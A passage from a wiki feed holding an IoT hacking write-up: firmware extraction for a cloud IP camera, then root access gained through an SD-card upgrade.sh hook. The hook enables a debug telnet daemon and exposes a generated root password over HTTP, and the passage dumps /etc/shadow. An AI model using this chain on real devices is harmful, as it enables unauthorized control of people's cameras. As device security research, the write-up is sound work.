rjmendez@Reggie:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted$ ls _D340D.extracted/_1A100.extracted/&lt;br /&gt;
168.cpio  cpio-root&lt;br /&gt;
rjmendez@Reggie:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted$ ls _D340D.extracted/_1A100.extracted/cpio-root/&lt;br /&gt;
bin  dev  etc  init  lib  mnt  proc  project  root  sbin  sys  tmp  usr  var&lt;br /&gt;
rjmendez@Reggie:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted$ ls _D340D.extracted/_1A100.extracted/cpio-root/root/&lt;br /&gt;
welcome.txt&lt;br /&gt;
rjmendez@Reggie:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted$ cat _D340D.extracted/_1A100.extracted/cpio-root/root/welcome.txt &lt;br /&gt;
welcome to (c)shenzhen mining mipc world!&lt;br /&gt;
enjoy it!&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
And the config storage.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Reggie:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted$ ls jffs2-root/fs_1/ -R&lt;br /&gt;
jffs2-root/fs_1/:&lt;br /&gt;
dev_data  ipc_data  latest_dhcp_ip_eth0  system_data&lt;br /&gt;
&lt;br /&gt;
jffs2-root/fs_1/dev_data:&lt;br /&gt;
system_config&lt;br /&gt;
&lt;br /&gt;
jffs2-root/fs_1/ipc_data:&lt;br /&gt;
8188eu_ap_2G.conf  aec_amr.xml            ao0.xml   buildinfo.xml   io_alert.xml   motion_alert.xml     ntp_info.xml       ptz0.xml            RT2870AP.dat         vec_half.xml    vs0.xml&lt;br /&gt;
action_conf.xml    aec_g711.xml           aoc0.xml  data_version    ipc_conf.xml   motion_ex_alert.xml  osd_show_time.xml  ptz.xml             RT2870STA_adhoc.dat  vec_hd.xml      vsc0.xml&lt;br /&gt;
active_server.xml  aec_g726.xml           ap.conf   default_gw.xml  license.xml    net_info.sh          pass.mp            ra0.xml             RT2870STA_infra.dat  vec_jpeg.xml&lt;br /&gt;
aec_aac.xml        alarm.xml              as0.xml   dps             localtime      net_info.xml         pass.up            recording_root.xml  sd_conf.xml          vec_min.xml&lt;br /&gt;
aec_adpcm.xml      alert_device_conf.xml  asc3.xml  eth0.xml        mediainfo.xml  nick_conf.xml        proxy.xml          recording_task.xml  server.xml           vec_normal.xml&lt;br /&gt;
&lt;br /&gt;
jffs2-root/fs_1/ipc_data/dps:&lt;br /&gt;
cacs&lt;br /&gt;
&lt;br /&gt;
jffs2-root/fs_1/ipc_data/dps/cacs:&lt;br /&gt;
61646d696e02&lt;br /&gt;
&lt;br /&gt;
jffs2-root/fs_1/system_data:&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Theres also an archive in /project on the root filesystem.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Reggie:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted/_D340D.extracted/_1A100.extracted/cpio-root$ ls -laht project/&lt;br /&gt;
&lt;br /&gt;
total 3.2M&lt;br /&gt;
drwxr-xr-x  2 rjmendez rjmendez 4.0K Apr 20 12:17 .&lt;br /&gt;
-rwxr-xr-x  1 rjmendez rjmendez 3.2M Apr 20 12:17 ipc_project_v1.9.5.1510231507.rtl8188.tar.lzma&lt;br /&gt;
-rwxr-xr-x  1 rjmendez rjmendez   11 Apr 20 12:17 tar.crc&lt;br /&gt;
drwxrwxr-x 15 rjmendez rjmendez 4.0K Apr 20 12:17 ..&lt;br /&gt;
-rwxr-xr-x  1 rjmendez rjmendez  135 Apr 20 12:17 buildinfo.xml&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Its called by the init script in /etc/init.d/dev_init.sh&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;#prepare project&lt;br /&gt;
unlzma -c /project/*.tar.lzma &amp;gt; /tmp/project.tar&lt;br /&gt;
rm /project/*.tar.lzma&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
tar -xvf /tmp/project.tar -C /project/&lt;br /&gt;
rm -rf /tmp/project.tar&lt;br /&gt;
chmod -R 777 /project&lt;br /&gt;
&lt;br /&gt;
#dev_start&lt;br /&gt;
if [ -e /mnt/mtd/flag_debug_dev_start ]; then&lt;br /&gt;
    echo &amp;quot;[`date &#039;+%Y-%m-%d %H:%M:%S&#039;` dev_init.sh]&amp;quot; /mnt/mtd/flag_debug_dev_start existed&lt;br /&gt;
else&lt;br /&gt;
    echo &amp;quot;[`date &#039;+%Y-%m-%d %H:%M:%S&#039;` dev_init.sh]&amp;quot; run /project/apps/app/ipc/data/sh/dev_start.sh&lt;br /&gt;
    cd /project/apps/app/ipc/data/sh&lt;br /&gt;
    ./dev_start.sh&lt;br /&gt;
fi&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Extracting it all gives us this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Reggie:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted/_D340D.extracted/_1A100.extracted/cpio-root/project$ unlzma -c ipc_project_v1.9.5.1510231507.rtl8188.tar.lzma &amp;gt; project.tar&lt;br /&gt;
rjmendez@Reggie:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted/_D340D.extracted/_1A100.extracted/cpio-root/project$ tar -xf project.tar&lt;br /&gt;
rjmendez@Reggie:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted/_D340D.extracted/_1A100.extracted/cpio-root/project$ ls -laht&lt;br /&gt;
total 14M&lt;br /&gt;
drwxr-xr-x  5 rjmendez rjmendez 4.0K Apr 20 14:03 .&lt;br /&gt;
-rw-rw-r--  1 rjmendez rjmendez  11M Apr 20 14:02 project.tar&lt;br /&gt;
-rwxr-xr-x  1 rjmendez rjmendez 3.2M Apr 20 12:17 ipc_project_v1.9.5.1510231507.rtl8188.tar.lzma&lt;br /&gt;
-rwxr-xr-x  1 rjmendez rjmendez   11 Apr 20 12:17 tar.crc&lt;br /&gt;
drwxrwxr-x 15 rjmendez rjmendez 4.0K Apr 20 12:17 ..&lt;br /&gt;
-rwxr-xr-x  1 rjmendez rjmendez  135 Apr 20 12:17 buildinfo.xml&lt;br /&gt;
drwxr-xr-x  3 rjmendez rjmendez 4.0K Oct 23  2015 apps&lt;br /&gt;
drwxr-xr-x  3 rjmendez rjmendez 4.0K Oct 23  2015 platforms&lt;br /&gt;
drwxr-xr-x  3 rjmendez rjmendez 4.0K Oct 23  2015 faraday&lt;br /&gt;
-rw-r--r--  1 rjmendez rjmendez    2 Oct 23  2015 kernel_version&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tons of good data in here! &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Gaining root&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
We have a great entry point as well inside of /project/apps/app/ipc/data/sh/sd_card_insert.sh.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
#mount sd_card&lt;br /&gt;
if [ ! -d /mnt/sd ]; then&lt;br /&gt;
    /bin/mkdir /mnt/sd&lt;br /&gt;
fi&lt;br /&gt;
mount -o noatime,nodiratime,norelatime -t vfat /dev/mmcblk0p1 /mnt/sd&lt;br /&gt;
&lt;br /&gt;
#run hook&lt;br /&gt;
if [ -e /mnt/sd/upgrade/upgrade.sh ]; then&lt;br /&gt;
chmod 777 /mnt/sd/upgrade/upgrade.sh&lt;br /&gt;
sh /mnt/sd/upgrade/upgrade.sh &amp;amp;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
wget http://127.0.0.1:80/ccm/CcmNotifyRequest/-dvalue-1.xml -O 1.xml&lt;br /&gt;
&lt;br /&gt;
rm -f 1.xml&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What the hell is going on in /project/apps/app/ipc/data/sh/dev_passwd.sh?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;path_prompt=/tmp/prompt.debug&lt;br /&gt;
path_pass=/tmp/pass.debug&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
#Generate ctx if needed&lt;br /&gt;
if [ -z $ctx ]; then&lt;br /&gt;
    ctx_file=/tmp/ctx.dev&lt;br /&gt;
    if [ -e $ctx_file ]; then&lt;br /&gt;
        read ctx &amp;lt; $ctx_file&lt;br /&gt;
    fi&lt;br /&gt;
&lt;br /&gt;
    if [ -z $ctx ]; then&lt;br /&gt;
        ctx=$RANDOM&lt;br /&gt;
        echo $ctx &amp;gt; $ctx_file&lt;br /&gt;
    fi&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
${bindir}/mipc_tool -cmd pass -devid ${devid} -prompt ${path_prompt} -pass ${path_pass}&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
read pass &amp;lt; $path_pass&lt;br /&gt;
read prompt &amp;lt; $path_prompt&lt;br /&gt;
echo &amp;quot;pass=${pass}, prompt=${prompt}&amp;quot;&lt;br /&gt;
/bin/hostname ${prompt}${promp_eth}${promp_wifi}&lt;br /&gt;
echo &amp;quot;root:${pass}&amp;quot;|chpasswd&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
It looks like they are generating a new root password after rebooting. Everything is still running as root and the password is in a file at /tmp/pass.debug, we should be able to get in over the serial line but that’s not very sexy.&lt;br /&gt;
A look into /project/apps/app/ipc/data/sh/dev_telnet.sh gives us another option.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
port=9527&lt;br /&gt;
file_flag=/mnt/mtd/flag_debug_telnet&lt;br /&gt;
if [ -e ${file_flag} ]; then&lt;br /&gt;
    mode=on&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
usage()&lt;br /&gt;
{&lt;br /&gt;
    echo Usage:$0 [-m,--mode on/off] [-h,--help]&lt;br /&gt;
    exit&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
ARGS=`getopt -a -o m:h -l mode:,help -- &amp;quot;$@&amp;quot;`&lt;br /&gt;
&lt;br /&gt;
#set -- &amp;quot;${ARGS}&amp;quot;&lt;br /&gt;
eval set -- &amp;quot;${ARGS}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
while true&lt;br /&gt;
do&lt;br /&gt;
        case &amp;quot;$1&amp;quot; in&lt;br /&gt;
        -m|--mode)&lt;br /&gt;
                mode=&amp;quot;$2&amp;quot;&lt;br /&gt;
                shift&lt;br /&gt;
                ;;&lt;br /&gt;
        -h|--help)&lt;br /&gt;
                usage&lt;br /&gt;
                ;;&lt;br /&gt;
        --)&lt;br /&gt;
                shift&lt;br /&gt;
                break&lt;br /&gt;
                ;;&lt;br /&gt;
        esac&lt;br /&gt;
shift&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
if [ x&amp;quot;${mode}&amp;quot; == xon ]; then&lt;br /&gt;
    if [ ! -e ${file_flag} ]; then&lt;br /&gt;
        touch ${file_flag}&lt;br /&gt;
    fi&lt;br /&gt;
&lt;br /&gt;
    if [ &amp;quot;&amp;quot; == &amp;quot;`ps -w | grep telnet | grep ${port} | grep -v grep`&amp;quot; ]; then&lt;br /&gt;
        telnetd -p ${port} &amp;amp;&lt;br /&gt;
    fi&lt;br /&gt;
elif [ x&amp;quot;${mode}&amp;quot; == xoff ]; then&lt;br /&gt;
    if [ -e ${file_flag} ]; then&lt;br /&gt;
        rm ${file_flag}&lt;br /&gt;
    fi&lt;br /&gt;
&lt;br /&gt;
    ps w| grep telnetd | grep ${port} | grep -v -E &amp;quot;grep&amp;quot; | while read line&lt;br /&gt;
    do&lt;br /&gt;
        pid=${line%% *}&lt;br /&gt;
        kill -9 $pid&lt;br /&gt;
    done&lt;br /&gt;
fi&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Well well well… Lets create an upgrade folder and throw in this script inside of upgrade.sh on our vfat formatted micro sd card.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;#!/bin/sh&lt;br /&gt;
sleep 45&lt;br /&gt;
cd /project/apps/app/ipc/data/http/ &amp;amp;&amp;amp; ln -s /tmp &amp;amp;&lt;br /&gt;
/project/apps/app/ipc/data/sh/dev_telnet.sh -m on&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
After a little bit we should see this show up on the web server.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Reggie:~/cloudipcamera$ curl http://192.168.187.254/tmp/pass.debug&lt;br /&gt;
264e37dcd841b35344c68e8f95dc8b11&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
And then we can try telnet on the nonstandard debug port.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Reggie:~/cloudipcamera$ telnet 192.168.187.254 9527&lt;br /&gt;
Trying 192.168.187.254...&lt;br /&gt;
Connected to 192.168.187.254.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
&lt;br /&gt;
1jfiegbp1n36a@11266@m@u@e.192.168.187.254@w.192.168.188.254 login: root&lt;br /&gt;
Password: &lt;br /&gt;
|---------------------------------------------------------------------------|&lt;br /&gt;
|                    A                                                      |&lt;br /&gt;
|                   AAA                                                     |&lt;br /&gt;
|                  AAAAA                                                    |&lt;br /&gt;
|                 AAAAAAA                                                   |&lt;br /&gt;
|                AAAA   AA                                                  |&lt;br /&gt;
|         A     AAAA     AA                                                 |&lt;br /&gt;
|        AAA   AAAA       AA          AAA   AAAAA    AAA   AAAAA    AAAAA   |&lt;br /&gt;
|       AAAAA AAAA         AA              AA   AA        AA   AA  AA   AA  |&lt;br /&gt;
|      AAAAAAAAAA           AA        AAA  AA   AA   AAA  AA   AA  AA   AA  |&lt;br /&gt;
|     AAAAA AAAA             AA       AAA  AA   AA   AAA  AA   AA  AA   AA  |&lt;br /&gt;
|    AAAAA    A               AA      AAA  AA   AA   AAA  AA   AA   AAAAAA  |&lt;br /&gt;
|   AAAAA                      AA     AAA  AA   AA   AAA  AA   AA       AA  |&lt;br /&gt;
| AAAAAA                        AAAA  AAA  AA   AA   AAA  AA   AA  AAAAAA   |&lt;br /&gt;
|===========================================================================|&lt;br /&gt;
|                                                                           |&lt;br /&gt;
|                                             http://www.shenzhenmining.com |&lt;br /&gt;
|                                           power by (C)shenzhenmining 2012 |&lt;br /&gt;
|---------------------------------------------------------------------------|&lt;br /&gt;
[root@1jfiegbp1n36a@11266@m@u@e.192.168.187.254@w.192.168.188.254]# echo &amp;quot;Root password is &#039;264e37dcd841b35344c68e8f95dc8b11&#039;&amp;quot;&lt;br /&gt;
Root password is &#039;264e37dcd841b35344c68e8f95dc8b11&#039;&lt;br /&gt;
[root@1jfiegbp1n36a@11266@m@u@e.192.168.187.254@w.192.168.188.254]# ls -l /root&lt;br /&gt;
-rwxr-xr-x    1 root     root           54 Oct 23  2015 welcome.txt&lt;br /&gt;
[root@1jfiegbp1n36a@11266@m@u@e.192.168.187.254@w.192.168.188.254]# cat /root/welcome.txt &lt;br /&gt;
welcome to (c)shenzhen mining mipc world!&lt;br /&gt;
enjoy it!&lt;br /&gt;
[root@1jfiegbp1n36a@11266@m@u@e.192.168.187.254@w.192.168.188.254]# cat /etc/passwd&lt;br /&gt;
root:x:0:0:root:/root:/bin/sh&lt;br /&gt;
bin:x:1:1:bin:/bin:/bin/sh&lt;br /&gt;
daemon:x:2:2:daemon:/usr/sbin:/bin/sh&lt;br /&gt;
adm:x:3:4:adm:/adm:/bin/sh&lt;br /&gt;
lp:x:4:7:lp:/var/spool/lpd:/bin/sh&lt;br /&gt;
sync:x:5:0:sync:/bin:/bin/sync&lt;br /&gt;
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown&lt;br /&gt;
halt:x:7:0:halt:/sbin:/sbin/halt&lt;br /&gt;
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh&lt;br /&gt;
operator:x:11:0:Operator:/var:/bin/sh&lt;br /&gt;
nobody:x:99:99:nobody:/home:/bin/sh&lt;br /&gt;
[root@1jfiegbp1n36a@11266@m@u@e.192.168.187.254@w.192.168.188.254]# cat /etc/shadow&lt;br /&gt;
root:S5Ada/QN0yHBo:12963:0:99999:7:::&lt;br /&gt;
bin:*:12963:0:99999:7:::&lt;br /&gt;
daemon:*:12963:0:99999:7:::&lt;br /&gt;
adm:*:12963:0:99999:7:::&lt;br /&gt;
lp:*:12963:0:99999:7:::&lt;br /&gt;
sync:*:12963:0:99999:7:::&lt;br /&gt;
shutdown:*:12963:0:99999:7:::&lt;br /&gt;
halt:*:12963:0:99999:7:::&lt;br /&gt;
uucp:*:12963:0:99999:7:::&lt;br /&gt;
operator:*:12963:0:99999:7:::&lt;br /&gt;
nobody:*:12963:0:99999:7:::&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This device has never been connected to the internet, lets see what’s running on it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[root@1jfiegbp1n36a@11266@m@u@e.192.168.187.254@w.192.168.188.254]# ps | grep mipc&lt;br /&gt;
  600 root      2532 S    ./mipc_tool -cmd wd -len 20 &lt;br /&gt;
  826 root      2664 S    ./mipc_tool -cmd debug -server 1 &lt;br /&gt;
  945 root      2664 S    ./mipc_tool -cmd led -dev eth -interval 500 &lt;br /&gt;
  987 root      2664 S    ./mipc_tool -cmd led -dev wifi -interval 500 &lt;br /&gt;
 1009 root      2668 S    ./mipc_tool -cmd led -dev single -interval 500 &lt;br /&gt;
 1015 root      2664 S    ./mipc_tool -cmd click_listen &lt;br /&gt;
 1063 root      2668 S    ../../../../../platforms/faraday-linux-armv5/bin/mipc_tool -cmd tcpproxy --passive-remote 127.0.0.1:23 --remote 218.14.146.199:7024:/tmp/tcp_post.txt --header-notify-file&lt;br /&gt;
 1179 root     54140 S    ./mipc -cont-conf ../../../apps/app/ipc/conf/container.conf &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
== Future ==&lt;br /&gt;
&lt;br /&gt;
We need to look into mipc_tool and the mipc program itself.&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Cloudipcam_store.png&amp;diff=2682</id>
		<title>File:Cloudipcam store.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Cloudipcam_store.png&amp;diff=2682"/>
		<updated>2017-04-21T01:58:20Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Cloudipcam_board.jpg&amp;diff=2681</id>
		<title>File:Cloudipcam board.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Cloudipcam_board.jpg&amp;diff=2681"/>
		<updated>2017-04-21T01:54:27Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Cloudipcam_bottom.jpg&amp;diff=2680</id>
		<title>File:Cloudipcam bottom.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Cloudipcam_bottom.jpg&amp;diff=2680"/>
		<updated>2017-04-21T01:51:51Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Cloudipcam_back.jpg&amp;diff=2679</id>
		<title>File:Cloudipcam back.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Cloudipcam_back.jpg&amp;diff=2679"/>
		<updated>2017-04-21T01:51:23Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Cloudipcam_profile.jpg&amp;diff=2678</id>
		<title>File:Cloudipcam profile.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Cloudipcam_profile.jpg&amp;diff=2678"/>
		<updated>2017-04-21T01:50:34Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Cloudipcam_front.jpg&amp;diff=2677</id>
		<title>File:Cloudipcam front.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Cloudipcam_front.jpg&amp;diff=2677"/>
		<updated>2017-04-21T01:48:54Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Cloudipcam_UART_pins.jpg&amp;diff=2676</id>
		<title>File:Cloudipcam UART pins.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Cloudipcam_UART_pins.jpg&amp;diff=2676"/>
		<updated>2017-04-21T01:37:30Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Cloudipcam_mxic25l12835f.jpg&amp;diff=2675</id>
		<title>File:Cloudipcam mxic25l12835f.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Cloudipcam_mxic25l12835f.jpg&amp;diff=2675"/>
		<updated>2017-04-21T01:32:34Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
</feed>